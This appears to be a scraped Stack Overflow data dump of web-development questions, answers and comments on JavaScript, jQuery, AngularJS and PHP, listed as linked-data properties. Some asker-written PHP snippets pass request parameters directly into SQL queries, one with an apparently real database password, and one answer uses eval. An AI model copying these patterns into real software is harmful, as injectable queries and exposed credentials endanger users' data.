has body: I am writing a directive in angularjs and get the above mentioned error. I am using the code from a book. .directive('myFacebook', [function(){ return { link: function(scope,element,attributes) { (function(d) { var js, id = 'facebook-jssdk', ref = d.getElementsByTagName('script')[0]; if (d.getElementById(id)) { return; } js = d.createElement('script'); js.id = id; js.async = true; js.src = "//connect.facebook.net/en_US/all.js"; ref.parentNode.insertBefore(js, ref); }(document)); // Initialize FB window.fbAsyncInit = function() { FB.init({ appId: 'xxxx', //birthday reminder status: true, // check login status cookie: true, // enable cookies to access the session xfbml: false // parse XFBML }); //Check FB Status FB.getLoginStatus(function(response) { xxxx }); }; scope.username=''; }, scope: { permissions: '@', myFriends: '=friends' }, controller: function($scope) { $scope.loadFriends = function() { FB.api('/me/friends?fields=birthday,name,picture', function(response) { $scope.$apply(function() { $scope.myFriends = response.data; }); }); } }, template:'Welcome {{username}}' }}]) I get error at $scope.$apply(function() { $scope.myFriends = response.data; }); The HTML code My Friend's Birthday Reminder {{friend.name}}
has answer: http://stackoverflow.com/a/58739568
type: AnsweredQuestion
downvote count: 0
upvote count: 50
type: Question
tagged with: angularjs-directive
accepted answer: http://stackoverflow.com/a/25641209
has answer: http://stackoverflow.com/a/35656799
has comment: http://stackoverflow.com/comment/40039626
has answer: http://stackoverflow.com/a/30729717

http://stackoverflow.com/q/25707402
accepted answer: http://stackoverflow.com/a/25707538
type: Question
has title: Insert code in a function
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40184263
score: 0
answer count: 2
has answer: http://stackoverflow.com/a/25707538
possible better answer: http://stackoverflow.com/a/25707686
has answer: http://stackoverflow.com/a/25707686
has body: I am using this code to show loader effect while image load: $(function(){ jQuery('figure').append(' '); jQuery('.img').load(function(){ jQuery('.loader').remove(); }); }); But I want this code in a function so that I can call it on any image. JSFIDDLE
has comment: http://stackoverflow.com/comment/40184208
type: AnsweredQuestion

http://stackoverflow.com/comment/40118050
type: QuestionComment
comment on: http://stackoverflow.com/q/25671188
score: 0
type: Comment
has text: Thanks for the answer but is there any other way I can do it?

http://stackoverflow.com/comment/40064789
score: 0
type: AnswerComment
has text: Sry, I'm not quite sure what you are doing with the setInterval anyway. Should this be a "wait until animation is done?" Or what is its purpose? I'll have a look at your function later.
type: Comment
comment on: http://stackoverflow.com/a/25625415

http://stackoverflow.com/comment/39993198
type: AnswerComment
has text: Whoa! This implementation is also great. I think I can use this one. Btw, the page is: http://sunnies.jehzlau.net/. As you can see, there's an instagram box below, on those images are fetched automatically from instagram. I think I just need to do some tweaks to your script so that I can add a href per image. :D Thanks again! :D
comment on: http://stackoverflow.com/a/25585045
type: Comment
score: 0

dialog
tag name: dialog
tags question: http://stackoverflow.com/q/25590468
tags question: http://stackoverflow.com/q/25633237
type: Tag
tags question: http://stackoverflow.com/q/25607685

http://stackoverflow.com/comment/40125100
type: QuestionComment
comment on: http://stackoverflow.com/q/25675049
score: 0
has text: So why need a submit button in the first place?
type: Comment

http://stackoverflow.com/comment/39945979
comment on: http://stackoverflow.com/a/25576404
type: AnswerComment
score: 0
type: Comment
has text: True, anyway it will be a performance issue in using scope.$apply when in angular scope only so callback and promises are preferred

http://stackoverflow.com/comment/40131180
type: Comment
type: QuestionComment
has text: No, it must not append to any element. Just create it only. This way it will be parseable. When you assign new elements to a local variable in a function, elements are gone after function has been executed. In a case the newly created elements can be used as they are, you can append them to a target element _after_ manipulating the content.
score: 0
comment on: http://stackoverflow.com/q/25655548

http://stackoverflow.com/a/25695470
score: 1
accepted answer of: http://stackoverflow.com/q/25695415
answers question: http://stackoverflow.com/q/25695415
has body: Join the array which results in "5*1" and eval it - jsFiddle Example var newArray = ["5", "*", "1"] var output = eval(newArray.join("")) // 5
upvote count: 1
type: AcceptedAnswer
type: Answer
downvote count: 0

http://stackoverflow.com/q/25654112
has comment: http://stackoverflow.com/comment/40087529
type: UnansweredQuestion
tagged with: php
tagged with: css
has title: Can I use post thumbnail as cursor image when hovering over post link? (wordpress)
score: 1
tagged with: wordpress
upvote count: 1
tagged with: cursor
type: Question
has answer: http://stackoverflow.com/a/25654208
tagged with: javascript
has body: i'm too new to javascript, php and wordpress to figure this out myself, so maybe someone can help me. i'm making a portfolio page on wordpress. all post titles are in a loop in a sidebar.php file. i want to make it so that when you hover over the post's title, the cursor changes to the post's featured image/post thumbnail. the most common result of googling is the simple css version, something like this: .sidebar {cursor:url('img.png') auto} so i had this: .sidebar a:hover{ cursor:url('<?php if(has_post_thumbnail()){ the_post_thumbnail('thumbnail');}?>') auto; border-bottom: 2px dashed; border-color: blue; but it doesn't work. the php works when put in any of the php files, sidebar.php for example, the thumbnail is then under the post title. another option i found was a javascript one, it was on this page: http://www.ajaxblender.com/howto-create-custom-image-cursors.html #test-area { height: 200px; border: 3px dashed #CCCCCC; background: #FFFFFF; padding: 20px; cursor: url(./blank.cur), none; } #mycursor { cursor: none; width: 97px; height: 137px; background: url("images/custom-cursor.jpg") no-repeat left top; position: absolute; display: none; top: 0; left: 0; z-index: 10000; } but i think it just works with divs and not links? couldn't get it to work at all, although something like this seems like the most logical solution. and then there was this page, that shows a javascript just in the middle of an <a href> tag like this: Set the cursor for this link but implementing a php post_thumbnail or something in there is already way too much for me. (what's up with the slashes anyways?) any ideas?
has comment: http://stackoverflow.com/comment/40087510
answer count: 1
downvote count: 0
favorite count: 0

http://stackoverflow.com/a/25701803
score: 2
downvote count: 0
upvote count: 2
accepted answer of: http://stackoverflow.com/q/25701487
answers question: http://stackoverflow.com/q/25701487
type: AcceptedAnswer
has body: The jQuery selector $('input[type="submit"]:last') equates to something like this var all = document.querySelectorAll('input[type="submit"]'); var last = all[all.length - 1]; or a one-liner var elem = [].slice.call(document.querySelectorAll('input[type="submit"]')).pop()
type: Answer

http://stackoverflow.com/q/25707046
tagged with: javascript
tagged with: jquery
tagged with: jquery-plugins
score: 0
has comment: http://stackoverflow.com/comment/40215630
answer count: 1
has answer: http://stackoverflow.com/a/25731018
has body: I have a table on a page that lists users. The initial rendering is a "short list" that only has minimal data. Each row has a plus image and a minus image. The plus image is as follows; &lt;a href="" onClick='javascript: ColdFusion.navigate("#request.controlurl#calllist/CallListDetail.cfm?UsersID=#CallList.usersID#&amp;callListID=#attributes.callListID#","Ind_#CallList.usersID#");checkKW(); return false;'&gt;&lt;img class="plus" src="#request.controlURL#images/plus.gif" border="0"&gt;&lt;/a&gt; When the plus icon is clicked I display more detailed data. I want to highlight certain keywords in that data. In the test I'm working on I have 2 rows. When I click on the first plus icon I get the detailed data but without highlighting. When I click on the second row plus icon, the highlighting appears in the first row. I'm using Jquery highlight js at. The checkKW function is; function checkKW(){ $(".commdiv").highlight(document.getElementById('keywordscheckdiv').innerHTML); alert('one'); } A sample of one of the divs I want to highlight words in is; &lt;div style="padding:2px 10px 5px 10px; " class="commdiv"&gt; &lt;strong&gt;Date:&lt;/strong&gt; #dateformat(qCallListComms.Date_Entered,"yyyy/mm/dd")# &lt;strong&gt;Cons:&lt;/strong&gt; #qCallListComms.username# &lt;strong&gt;Type:&lt;/strong&gt; #qCallListComms.communication_type#&amp;nbsp;&amp;nbsp;&amp;nbsp;#qCallListComms.comment# &lt;/div&gt;
has comment: http://stackoverflow.com/comment/40183808
tagged with: cfml
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25731018
has comment: http://stackoverflow.com/comment/40194888
type: Question
has title: Jquery.highlight onclick
has comment: http://stackoverflow.com/comment/40226407

http://stackoverflow.com/q/25555001
has comment: http://stackoverflow.com/comment/39907920
tagged with: angularfire
tagged with: angularjs
answer count: 0
type: UnansweredQuestion
has title: Loading Posts and Comments to User's Profile using AngularFire v0.8.0
has comment: http://stackoverflow.com/comment/39913423
tagged with: firebase
has comment: http://stackoverflow.com/comment/39907513
has comment: http://stackoverflow.com/comment/39918979
tagged with: angularjs-scope
type: Question
has body: Referring to Thinkster.io Tutorial, ( Note: As of now the tutorial works on AngularFire v0.7.0 and I am trying to update the code to AngularFire v0.8.0 ) I am trying to load posts and comments which the currently logged in user has created. Posts are loaded successfully but the comments are not. Basically, firebase structure has two entities ----> posts and users I am logging in from User A. Totally three users are created and only User A has made a post and commented on the same post. Look for Firebase Forge structure bellow ( You may skip this if you got the idea. ) { "posts" : { "-JVSUl0lw7FI5CBKmxh0" : { "comments" : { "-JVSUnzHVuoh48LZ0jU_" : { "postId" : "-JVSUl0lw7FI5CBKmxh0", "text" : "First Comment!", "username" : "User A" } }, "owner" : "User A", "title" : "First Post", "url" : "http://url-1.com" } }, "users" : { "User A" : { ".priority" : "simplelogin:72", "comments" : { "-JVSUnzHVuoh48LZ0jU_" : { "-JVSUqOA94On0xjmBnCT" : { "id" : "-JVSUnzHVuoh48LZ0jU_", "postId" : "-JVSUl0lw7FI5CBKmxh0" } } }, "md5_hash" : "d10ca8d11301c2f4993ac2279ce4b930", "posts" : { "-JVSUl0lw7FI5CBKmxh0" : "-JVSUl0lw7FI5CBKmxh0" }, "username" : "User A" }, "User B" : { ".priority" : "simplelogin:73", "md5_hash" : "2076105f6efe7c11e285add95f514b9a", "username" : "User B" }, "User C" : { ".priority" : "simplelogin:74", "md5_hash" : "a6d14de05d7b2c3cf4fae7ae14cfa7f3", "username" : "User C" } } } The code used to load the posts and comments made by User A into his profile is written in a controller named profile.js Comments are added in the code for clarity. Please ignore if comfortable otherwise. 'use strict'; app.controller('ProfileCtrl', function ($firebase, FIREBASE_URL, $scope, $routeParams, Post, User) { $scope.user = User.findByUsername($routeParams.username); $scope.commentedPosts = {}; $scope.user.$loaded( function () { populatePosts(); populateComments(); }); function populatePosts () { $scope.posts = {}; angular.forEach($scope.user.posts, function(postId) { console.log("The v…
tagged with: javascript
score: 0

http://stackoverflow.com/a/25703761
type: AcceptedAnswer
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/40186420
has comment: http://stackoverflow.com/comment/40178443
has body: getElementsByClassName returns a collection. textBox.disabled is not a function of the collection. you'd rather loop through the collection: textboxes = document.getElementsByClassName('mgmt-0'); for(var i=0; i&lt; textboxes.length; i++) { textboxes[i].removeAttribute("disabled") }
accepted answer of: http://stackoverflow.com/q/25703671
answers question: http://stackoverflow.com/q/25703671

http://stackoverflow.com/comment/39918430
has text: no need to validate dates after selection @Yunus
type: QuestionComment
comment on: http://stackoverflow.com/q/25562191
score: 0
type: Comment

http://stackoverflow.com/q/25648285
has body: I tried the following: console.log(location.hash) if(location.hash = ''){ console.log('home') } What conditional should I set to get the console to log home on for example example.com/
possible better answer: http://stackoverflow.com/a/25648382
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40076373
type: Question
has title: What is the conditional for location.hash on the page root?
tagged with: javascript
score: 0
answer count: 3
has answer: http://stackoverflow.com/a/25649040
has answer: http://stackoverflow.com/a/25648382
has answer: http://stackoverflow.com/a/25648399
accepted answer: http://stackoverflow.com/a/25649040

http://stackoverflow.com/q/25644068
has answer: http://stackoverflow.com/a/25645214
possible better answer: http://stackoverflow.com/a/25644152
has comment: http://stackoverflow.com/comment/40068632
has answer: http://stackoverflow.com/a/25644152
has comment: http://stackoverflow.com/comment/40070277
type: Question
answer count: 2
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25645214
has comment: http://stackoverflow.com/comment/40070524
has comment: http://stackoverflow.com/comment/40068695
score: 0
has comment: http://stackoverflow.com/comment/40070431
tagged with: rsvp-promise
has comment: http://stackoverflow.com/comment/40070063
tagged with: node.js
has body: I have simple little program which defines two functions as variables. These functions both return RSVP Promises so that they can be chained together as I have done below. I use this pattern often but in this case I'm running into madness ... var opChown = function() { ... }; var opChgrp = function() { ... }; debug('chown: ' + opChown); debug('chgrp: ' + opChgrp); // Chain permission operations opChown() .then(opChgrp()) .then(function() { debug('resolving parent promise'); resolve(); }) .catch(function(err) { debug('rejecting parent promise'); reject(err); } ); While my debug statements clearly show that the two functions are in fact defined, when I execute them I get an unhandled exception: TypeError: undefined is not a function Please help me losing my mind. Any and all suggestions welcome. For some additional context here is the definition of opChown: var opChown = function() { return new RSVP.promise(function(resolve,reject) { debug('opChown'); if(options.ignoreChown) { resolve(); } else { var chown = shell('chown',['-R', downgradedUser, destDir]); debug('chown command executed; user permission is "%s"', downgradedUser); chown.on('exit',function(code) { if(code !== 0) { var errMessage = 'Build [' + code + ']:' + ' problems changing ownership on "' + destDir + '" directory to ' + downgradedUser + '.'; debug('Problem with chown: %s', code); reject({operation:'chown', message: errMessage}); } else { console.log(' - %s executed, user permissions changed to %s', chalk.bold('chown'), chalk.bold(downgradedUser)); resolve(); } }); // end chown } }); }; // end opChgOwn Now based on @bergi's great pointer that the stacktrace is indeed available to me on Node's 'uncaughtException' event, here is the stacktrace which clearly points to the problem being within the opChown function rather than the function itself: TypeError: undefined is not a function at opChown (/lib/broccoli-watcher.js:117:13) at ChildProcess.&lt;anonymous&gt; (/lib/broccoli-watcher.js:167:5) at ChildProc…
type: AnsweredQuestion
has title: Defined function insists its undefined

http://stackoverflow.com/comment/39927620
type: Comment
comment on: http://stackoverflow.com/a/25567189
has text: Using `' '` instead of the existing regex is going to make things worse since `foo bar` will now count as three words instead of two.
score: 1
type: AnswerComment

http://stackoverflow.com/comment/40049073
has text: thanks for the advice, I will take it into consideration. as i now about a prototype chain, this is going like this `Array ->> Function ->> Object`, ore i missing some thing?
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25632732
type: Comment

http://stackoverflow.com/comment/40168607
type: Comment
has text: Thanks for the suggestion, I did think about that earlier, but the users using the application need to know that there are more options available (but disabled if the set criteria is false) that's why we had to look at this option.
comment on: http://stackoverflow.com/a/25698763
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40069366
has text: can you please give fiddle
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25644381
type: Comment

http://stackoverflow.com/a/25607773
accepted answer of: http://stackoverflow.com/q/25607621
answers question: http://stackoverflow.com/q/25607621
score: 0
has body: to append to an array you can use push list.push({name:"sudarshan",rno:"33"}); or just list[list.length] = {name:"sudarshan",rno:"33"}; which is the same as above.
type: AcceptedAnswer
type: Answer

http://stackoverflow.com/comment/39980972
type: Comment
type: QuestionComment
has text: So, what is the problem that you are having then?
score: 0
comment on: http://stackoverflow.com/q/25595734

http://stackoverflow.com/comment/44552043
comment on: http://stackoverflow.com/a/25757364
has text: Thank you very much! This fixed my problem - jQuery Mobile made the scroll event not work on `window` after going back in history.
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/q/25589491
has answer: http://stackoverflow.com/a/25589655
has title: How can I get data of selected table rows?
answer count: 1
has comment: http://stackoverflow.com/comment/39969646
has comment: http://stackoverflow.com/comment/39969775
tagged with: javascript
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/39969667
tagged with: jquery
has comment: http://stackoverflow.com/comment/39969703
has body: I am using the following snippet and from this I can find the index of a row which one is selected on the basis of checkbox on every row of the table.How can I modify this snippet so that I can get the selected row data instead of index? Please Help!! &lt;script&gt; function myfunction3() { var element_table = document.getElementsByName('collection'); var element_tableRows = element_table[0].rows; var selectedTr = new Array(); var data = ""; for (var i = 0; i &lt; element_tableRows.length; i++) { var checkerbox = element_tableRows[i].cells[0].firstChild; if (checkerbox.checked) { data = data+ element_tableRows[i].getAttribute("name"); } } var element_paragraph = document.getElementsByName('description'); element_paragraph.innerHTML = data; alert(data); } &lt;/script&gt;
type: Question
score: 0

http://stackoverflow.com/a/25581431
type: Answer
answers question: http://stackoverflow.com/q/25581374
has comment: http://stackoverflow.com/comment/39954906
has body: I'd bind a click event to the body of the page and using jquery bind a click event to every A tag on the page using $('body').on("click", 'a', function(){}) Then in the click bound to the A tags, set a variable (DoIt=false). Then in the click event for the page, check the variable, and then show the div based on that variable. Then be sure to always set it to true again at the end of the body's click event. $('body').click(function(){ if (DoIt == true) {/* do something */} DoIt=true;}); $('body').on('click', 'a', function(){ DoIt == false ;}); I think you get the idea. Coding from memory on an ipad here. :-)
has comment: http://stackoverflow.com/comment/39968518
score: 0

http://stackoverflow.com/a/25586248
has body: Well let me help you, So here is your form &lt;form method="POST" class="myForm" enctype="multipart/form-data"&gt; &lt;!-- add your span and pther stuff here--&gt; &lt;input type="file" id="foto1" name="userfile" /&gt; &lt;input type="button" value="submit" onclick="submitFile();" /&gt; &lt;/form&gt; here is your javascript function submitFile(){ var formUrl = "url of your php"; var formData = new FormData($('.myForm')[0]); $.ajax({ url: formUrl, type: 'POST', data: formData, mimeType: "multipart/form-data", contentType: false, cache: false, processData: false, success: function(data, textSatus, jqXHR){ //now get here response returned by PHP in JSON fomat you can parse it using JSON.parse(data) }, error: function(jqXHR, textStatus, errorThrown){ //handle here error returned } }); } hope this code was helpfull
upvote count: 2
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25573079
answers question: http://stackoverflow.com/q/25573079
has comment: http://stackoverflow.com/comment/52929775
type: Answer
score: 2

ecmascript-harmony
tag name: ecmascript-harmony
type: Tag
tags question: http://stackoverflow.com/q/25553910
tags question: http://stackoverflow.com/q/25567578
tags question: http://stackoverflow.com/q/25593369

http://stackoverflow.com/comment/39972077
type: Comment
comment on: http://stackoverflow.com/a/25590738
has text: Well, his main point anyway, as I understood it, which was that it "shouldn't be a concern" I guess? I was baffled by the BSON bit but not 100% sure on that point. In doing the research I was surprised to find just how much browsers have varied in their implementation: http://stackoverflow.com/a/8704349/1631952 . My solution for now is to pass the sort parameters from the browser as an array and create the sort-object server side. (If you want to adjust the answer a bit to state that property sequence is the only way to specify the precedence I'll go ahead and mark it accepted.)
type: AnswerComment
score: 0

http://stackoverflow.com/a/25654505
has comment: http://stackoverflow.com/comment/40088637
has body: Easy fix: Use session cookies. That is a cookie without a expiry date. It will automatically transmit with each request and go away as soon as the users closes the browser, or you delete the cookie via javascript. You simply store your token there and get it delivered for free to your server code. Have some demo stuff here: How do I set/unset cookie with jQuery? If you run the services on another domain, you will need to use CORS to make the AJAX running - otherwise your AJAX will run into the Same Origin Policy. With CORS you can even make the cookies work. See here: CORS request - why are the cookies not sent? If you do not want to use CORS, you could also incorporate the service domain into your own via reverse proxying. This will solve the SOP problem as well as make the use of cookies possible. Setting up a reverse proxy within Apache is pretty straight forward.
downvote count: 0
answers question: http://stackoverflow.com/q/25654468
type: Answer
has comment: http://stackoverflow.com/comment/40095363
upvote count: 1
has comment: http://stackoverflow.com/comment/40095293
score: 1

http://stackoverflow.com/q/25645126
tagged with: extjs
score: 0
has title: How to ensure ExtJS Datepicker shows up completely?
answer count: 1
has body: When the Date Picker is rendered on click, it is clipped and I can't get it to show up completely: While defining the datefield xtype, I have tried tweaking a few config options like cls,baseBodyCls,componentCls, etc. to tweak the overflow-y/height property by setting them to auto, but nothing seems to work. What should I try?
type: UnansweredQuestion
type: Question
tagged with: javascript
has answer: http://stackoverflow.com/a/25645390

http://stackoverflow.com/comment/40095009
has text: no it is in vendor details validation aspx page
comment on: http://stackoverflow.com/q/25644014
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/39921596
has text: `$(window).scrollTop()` gives you how much you have scrolled from top. Initially when you are at the top of the page it gives 0, and when you scroll, it gives you number of pixels you have scrolled. Now using this and the height of the window and the `top offset` of element, you can tell whether your desired element is visible or not. At the point it gets visible, you can do you animation or whatever you want to do.
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25563742

http://stackoverflow.com/q/25573413
tagged with: javascript
tagged with: jquery
has answer: http://stackoverflow.com/a/25573668
score: 0
possible better answer: http://stackoverflow.com/a/25573667
answer count: 3
has answer: http://stackoverflow.com/a/25573667
has answer: http://stackoverflow.com/a/25573693
has body: I know there are a few questions related, but I wanted to ask the question more clearly. I took the time to duplicate my issue on jsfiddle (link at bottom). I have a jquery event: $(document).ready(function () { $('.ui.contact.selection.dropdown').on("click", function () { $(this).dropdown() ; }) }); The dropdown menu is located inside of a modal, which isn't actually present until THAT div is clicked, with $('.item.contact').on("click", function () { $('.ui.modal') .modal('show') ; }) The problem is that when I load the modal, and then click the dropdown menu, the menu takes two clicks before it fires. I am guessing this is because the dropdown isn't available on page load. The first click loads it, the second click fires it? I'm not sure but would appreciate assistance! Please see the jsfiddle
tagged with: semantic-ui
has title: Hidden Content and Jquery 2 Clicks to Fire
accepted answer: http://stackoverflow.com/a/25573668
type: AnsweredQuestion
type: Question

http://stackoverflow.com/comment/40049907
type: Comment
comment on: http://stackoverflow.com/a/25620532
score: 0
has text: By design, you can't find the saved file. It's obfuscated to make it impractical to use it as a real file. Otherwise this API could be a vector to put bad files on the user's computer.
type: AnswerComment

menu
tags question: http://stackoverflow.com/q/25707530
type: Tag
tags question: http://stackoverflow.com/q/25649643
tags question: http://stackoverflow.com/q/25579435
tag name: menu
tags question: http://stackoverflow.com/q/25660246

http://stackoverflow.com/q/25686444
has comment: http://stackoverflow.com/comment/40145402
tagged with: cross-domain
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/20076816
downvote count: 0
has comment: http://stackoverflow.com/comment/40145226
tagged with: javascript
score: 1
tagged with: jquery
has answer: http://stackoverflow.com/a/25686776
possible better answer: http://stackoverflow.com/a/25686576
favorite count: 0
has body: I am developing a test page, which will used only by myself and only with Google Chrome. Is there any way to perform cross domain requests to 3rd party server (which doesn't allow such requests) with such conditions? The requests could be GET or OPTIONS. (I am aware about Chrome extensions like Advanced REST client, which could perform such requests, but it doesn't help me since complex calculations should be performed prior to request execution)
has answer: http://stackoverflow.com/a/25686576
type: Question
has title: How to perform cross domain requests locally in JavaScript/Chrome?
has answer: http://stackoverflow.com/a/25686585
linked to: http://stackoverflow.com/q/3102819
accepted answer: http://stackoverflow.com/a/25686776
answer count: 3
upvote count: 1
tagged with: google-chrome
has comment: http://stackoverflow.com/comment/40145314
linked to: http://stackoverflow.com/q/16145522
has comment: http://stackoverflow.com/comment/40145666
has comment: http://stackoverflow.com/comment/40145702

http://stackoverflow.com/q/25702072
downvote count: 1
has answer: http://stackoverflow.com/a/25702081
has body: I'm trying to get the innerHtml of an element in the page, but the innerHtml always returns undefined. I have already tested the getElementById and it's okay, the method can actually find the form element from which i want to get the html. The javascript function will be called by a button, and it will open a new window with the form content: function Popup(data){ var formElement = document.getElementById(data); var content = formElement.innerHtml; var mywindow = window.open('', 'my div', 'height=400,width=600'); mywindow.document.write(' Checklist '); mywindow.document.write(' '); mywindow.document.write(content); mywindow.document.write(' '); mywindow.print(); mywindow.close(); return true; } I've checked the formElement variable value and it's : [object HTMLFormElement].
type: AnsweredQuestion
type: Question
answer count: 1
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25702081
favorite count: 0
score: 0
tagged with: http://stackoverflow.com/tag/html
has title: getElementById(element).innerHtml returns undefined
upvote count: 1

http://stackoverflow.com/q/25680122
has answer: http://stackoverflow.com/a/25680217
type: Question
has comment: http://stackoverflow.com/comment/40134041
tagged with: javascript
score: -1
has body: I'm developing by Openui5 a portal. My portal have 2 apps. I I have organized the code in folders: root | |____app1 |____app2 In app1 folder I have util1.js with a function getInfo() and in app2 folter I have util2.js with function getInfo() (same name). Now my portal, at root login, load all js files in all subfolders, and only the last loaded getInfo() function work (correct???) I think in the future to dynamically load the js file of appX only when the user enter in the appX. In this way it work correctly??
answer count: 1
accepted answer: http://stackoverflow.com/a/25680217
favorite count: 0
type: AnsweredQuestion
tagged with: sapui5
downvote count: 2
upvote count: 1
has title: How load functions with same name

http://stackoverflow.com/q/25559100
favorite count: 0
linked to: http://stackoverflow.com/q/4481696
type: UnansweredQuestion
answer count: 0
tagged with: rhino
has comment: http://stackoverflow.com/comment/40583156
score: 1
has comment: http://stackoverflow.com/comment/39912965
upvote count: 1
type: Question
has body: I'm trying to load a package that's in a directory in my classpath, but something's gone wrong. What am I doing wrong here? D:\temp&gt;set CLASSPATH=D:\temp;D:\temp\rsslib4j.jar" D:\temp&gt;java org.mozilla.javascript.tools.shell.Main Rhino 1.7 release 4 2012 06 18 js&gt; importPackage(java.lang) js&gt; importPackage(rsslib4j.jar) js: uncaught JavaScript runtime exception: ReferenceError: "rsslib4j" is not defined. js&gt; System.out.println(java.lang.System.getProperty("java.class.path")); D:\temp;D:\temp\rsslib4j.jar" js&gt; quit() D:\temp&gt;
tagged with: javascript
has title: Rhino: Loading packages under Windows
downvote count: 0

http://stackoverflow.com/q/25648641
has answer: http://stackoverflow.com/a/25648818
answer count: 3
tagged with: http://stackoverflow.com/tag/html
tagged with: php
has title: Conditional execution of a PHP script to send email
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25648882
possible better answer: http://stackoverflow.com/a/25648818
has comment: http://stackoverflow.com/comment/40077177
type: Question
has body: I am trying to create a form page which validates the contents and if validation is true displays an alert box and then, sends the data to an email address. the problem is that the validation and alert box functions are working fine, am just unable to incorporate php script to send email to my email id... Any help will be appreciated .. My code is &lt;form action = "javascript:myFunc()" &amp;&amp; onsubmit="return validateForm()" method = "post" class="sigPad" style = "width:100%; text-align:center;" name = "myForm"&gt;` Where myFunc is as under: `function myFunction() { alert("text here"); window.open( 'https://mywebsite.com','_blank');} Just help me in including php script to send email which runs only if the validateForm() function and myFunction() are both executed.
tagged with: forms
score: 0
has answer: http://stackoverflow.com/a/25648707
accepted answer: http://stackoverflow.com/a/25648707
tagged with: javascript

http://stackoverflow.com/q/25552994
type: AnsweredQuestion
score: 3
upvote count: 3
has comment: http://stackoverflow.com/comment/39902034
possible better answer: http://stackoverflow.com/a/25553624
type: Question
tagged with: jquery-ui
tagged with: autocomplete
has comment: http://stackoverflow.com/comment/39901874
tagged with: javascript
answer count: 3
downvote count: 0
tagged with: jquery
has comment: http://stackoverflow.com/comment/39902064
has answer: http://stackoverflow.com/a/25553624
favorite count: 0
has title: JQuery Autocomplete from Database
has body: I need to to do autocomplete suggestion for my website and the data should be retrieved from database. I want to use JQuery autocomplete. here is my code but it doesn't work! This is my php file with the name of gethint.php: <?php require_once ('config.php'); $q=$_REQUEST["q"]; $sql="SELECT `fname` FROM `Property` WHERE fname LIKE '%$q%'"; $result = mysql_query($sql); $json=array(); while($row = mysql_fetch_array($result)) { $json[]=array( 'value'=> $row['fname'], 'label'=> $row['fname'] ); } echo json_encode($json); ?> and then this is my html file : Name: It took a lot of time but I couldn't find the problem. I was wondering if someone could help me. Thanks.
has answer: http://stackoverflow.com/a/25553577
accepted answer: http://stackoverflow.com/a/25553577
tagged with: php
has answer: http://stackoverflow.com/a/25553178

http://stackoverflow.com/q/25561823
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25562074
accepted answer: http://stackoverflow.com/a/25562074
has comment: http://stackoverflow.com/comment/39917778
type: Question
has comment: http://stackoverflow.com/comment/39919402
has answer: http://stackoverflow.com/a/25562016
has comment: http://stackoverflow.com/comment/39918060
tagged with: javascript
tagged with: jquery
has title: Javascript getting keypress "Enter" Event on Input Type Text
score: 0
answer count: 2
has comment: http://stackoverflow.com/comment/39919409
has body: Javascript getting keypress "Enter" Event on Input Type Text I have 3 text inputs, 1 dropdownlist and 10 rows. Row 1 will have identifier of _1 for the 3 text input and dropdown follow by _2 for row 2. What I wanted to achieve is: Textfield1 ------&gt; left_1 Textfield2 ------&gt; center_1 Textfield3 ------&gt; right_1 DropdownList ----&gt; dd_1 When I press enter on left_1, I want to change the enter event as sort of "tab" to center_1, while if I do enter event at center_1, it will tab to right_1. If I do enter event at right_1, it will go to the next row left_2. Problem is normally if you press "tab" at right_1, it will focus to dd_1 The next key issue is, I got a submit button in the form, if I press enter at any of the form, it will just submit the form. I tried before disable the enter using checking the eventcode and prevent Default but doing so, I still unable change my enter to focus on the text field as mention above JsFiddle on my Question I need to able to go to row 2 at the last input for the first row upon enter.
has comment: http://stackoverflow.com/comment/39919220
possible better answer: http://stackoverflow.com/a/25562016
tagged with: css

http://stackoverflow.com/q/25572219
has answer: http://stackoverflow.com/a/25572308
answer count: 4
score: 2
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25572571
upvote count: 2
linked to: http://stackoverflow.com/q/15252213
has comment: http://stackoverflow.com/comment/39937911
type: Question
has comment: http://stackoverflow.com/comment/39938370
has answer: http://stackoverflow.com/a/25572354
accepted answer: http://stackoverflow.com/a/25572308
tagged with: javascript
has comment: http://stackoverflow.com/comment/39937865
possible better answer: http://stackoverflow.com/a/25572305
has title: SQL: If exists, update else insert
has answer: http://stackoverflow.com/a/25572305
tagged with: sql
has comment: http://stackoverflow.com/comment/39937738
downvote count: 0
has body: I am very new to SQL and PHP but I want to add a user to a list if an entry does not already exist with their ip. If the entry does exist I just want to update their username. I can perform both of these operations outside of the "if exists" statement without hiccups but it obviously creates a lot of duplicates. When I wrap it in the "if exists" statement the query stops doing anything. I know there are a few questions regarding the subject but I have tried following most of the advice, if there is another way to do this I would be happy to consider it, thank you. &lt;?php $username = strval($_GET['username']); $userip = $_SERVER['REMOTE_ADDR']; $con = mysqli_connect("localhost", "ramendev_jctwood", "M1n1flam3", "ramendev_jctwood") or die ("Failed to connect to MySQL: " . mysqli_connect_error()); mysqli_query($con, "IF EXISTS (SELECT 1 FROM Users WHERE Userip='$userip') UPDATE Users SET User='$username' WHERE Userip='$userip' ELSE INSERT INTO Users (User, Userip) VALUES ('$username', '$userip') "); ?&gt;
has comment: http://stackoverflow.com/comment/39937875
favorite count: 0
tagged with: http://stackoverflow.com/tag/html
tagged with: php

http://stackoverflow.com/a/25600812
has comment: http://stackoverflow.com/comment/39991250
accepted answer of: http://stackoverflow.com/q/25600618
has comment: http://stackoverflow.com/comment/39990698
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/25600618
